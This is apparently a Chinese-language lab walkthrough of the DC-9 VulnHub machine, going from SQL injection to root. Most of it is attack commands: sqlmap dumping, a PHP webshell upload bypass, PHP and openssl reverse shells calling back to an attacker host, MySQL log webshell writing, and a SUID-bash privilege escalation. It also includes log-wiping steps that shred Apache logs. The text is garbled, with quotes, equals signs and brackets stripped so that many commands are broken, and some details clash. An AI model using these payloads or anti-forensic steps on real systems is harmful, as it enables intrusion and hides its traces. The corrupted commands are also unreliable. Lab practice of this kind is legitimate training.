DC-9靶机渗透测试:SQL注入到提权实战解析

发布时间:2026/8/3 13:11:40
DC-9靶机渗透测试:SQL注入到提权实战解析 1. DC-9靶机渗透测试实战全记录去年在VulnHub上架的DC-9靶机至今仍是渗透测试练手的经典环境这个基于Debian的靶机包含了SQL注入、文件包含、权限提升等多个典型漏洞链。我在实际测试中发现其漏洞利用方式与DC系列前作有显著差异特别是最后阶段的提权环节需要结合系统日志分析才能突破。下面将完整还原从信息收集到获取root权限的全过程重点解析三个关键突破点的技术细节。测试环境建议使用VirtualBoxVMware双嵌套模式避免攻击流量影响物理网络。靶机IP通常为192.168.56.101实际测试需根据DHCP分配调整。1.1 环境准备与信息收集首先用arp-scan定位靶机IP假设为192.168.56.103接着进行全端口扫描nmap -sS -p- -T4 192.168.56.103 -oN initial_scan.nmap扫描结果显示开放了22(SSH)和80(HTTP)端口。深入扫描Web服务nmap -sV -sC -p 80 --scripthttp-enum 192.168.56.103 -oN web_scan.nmap发现使用的是Apache 2.4.38在/search.php页面发现疑似注入点。这里有个细节DC-9的输入框对特殊字符做了前端过滤需要先用Burp Suite拦截请求配置浏览器代理为127.0.0.1:8080提交包含单引号的测试payload在Burp的Proxy模块查看原始请求1.2 SQL注入漏洞利用拦截到的请求显示参数名为search。用sqlmap测试注入sqlmap -u http://192.168.56.103/search.php --datasearchtest --risk3 --level5 --dbs确认存在基于时间的盲注。提取数据库信息时发现关键表表名重要字段Staffusername, passwordUsersusername, password使用以下命令导出用户凭证sqlmap -u http://192.168.56.103/search.php --datasearchtest -D staff --dump获得的密码是MD5加密用John破解john --formatraw-md5 --wordlist/usr/share/wordlists/rockyou.txt hashes.txt1.3 突破Web到系统层面破解出的凭证可登录管理后台/manage.php发现文件上传功能。测试时遇到限制扩展名白名单仅允许.jpg/.pngContent-Type校验必须为image/*文件头验证检测实际文件类型绕过方法echo ?php system($_GET[cmd]);? shell.jpg exiftool -Comment?php system($_GET[cmd]);? normal.jpg用Burp修改上传请求POST /manage.php HTTP/1.1 ... Content-Disposition: form-data; namefileToUpload; filenameshell.php%00.jpg Content-Type: image/jpeg访问/uploads/shell.php?cmdid确认RCE成功接着建立反向shellnc -lvnp 4444 # 攻击机监听 # 在Web执行 php -r $sockfsockopen(192.168.56.1,4444);exec(/bin/sh -i 3 3 23);2. 权限提升关键步骤获得www-data权限后在/var/www/html/config.php发现数据库凭据$DB_HOST localhost; $DB_USER dc9user; $DB_PASS !dc9!; $DB_NAME staff;2.1 数据库提权技术登录MySQL发现secure_file_priv为空可写文件SELECT ?php system($_GET[cmd]);? INTO OUTFILE /var/www/html/admin/shell2.php;但遇到目录权限问题。转而利用mysql日志提权SET GLOBAL general_log_file/var/www/html/admin.php; SET GLOBAL general_log1; SELECT ?php system($_GET[cmd]);?; SET GLOBAL general_log0;2.2 系统层横向移动在/home目录发现用户fredf的备份文件find /home -name *.bak -exec ls -la {} \;分析.bash_history发现sudo权限异常sudo -l User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/dist/test/test逆向分析test程序file /opt/devstuff/dist/test/test strings /opt/devstuff/dist/test/test发现是调用/usr/bin/python执行输入文件。创建提权脚本#!/usr/bin/python import os os.system(chmod s /bin/bash)执行提权chmod x exploit.py sudo /opt/devstuff/dist/test/test exploit.py /bin/bash -p3. 渗透测试中的深度技巧3.1 日志清理与痕迹消除完成测试后需要清理日志# 清除命令历史 echo ~/.bash_history history -c # 清理Web日志 find /var/log/apache2 -type f -exec shred -zu {} \; # 删除后门文件 rm -f /var/www/html/admin.php /uploads/shell.php3.2 常见问题排查文件上传失败检查Burp拦截的原始请求尝试不同编码方式的截断%00 vs 0x00MySQL写文件权限问题确认secure_file_priv设置尝试/tmp等可写目录反向shell连接不稳定改用加密连接mkfifo /tmp/s; /bin/sh -i /tmp/s 21 | openssl s_client -quiet -connect IP:PORT /tmp/s使用socat等工具4. 靶机渗透的进阶训练建议完成基础渗透后可尝试以下挑战不依赖sqlmap手工完成注入使用Metasploit框架复现全部流程尝试无文件攻击方式编写自动化渗透脚本我在实际测试中发现DC-9最精妙的设计在于提权路径需要组合数据库和系统两个层面的漏洞这种多维度渗透思路在企业内网测试中非常典型。建议在掌握基础方法后重点训练漏洞链的组合利用能力。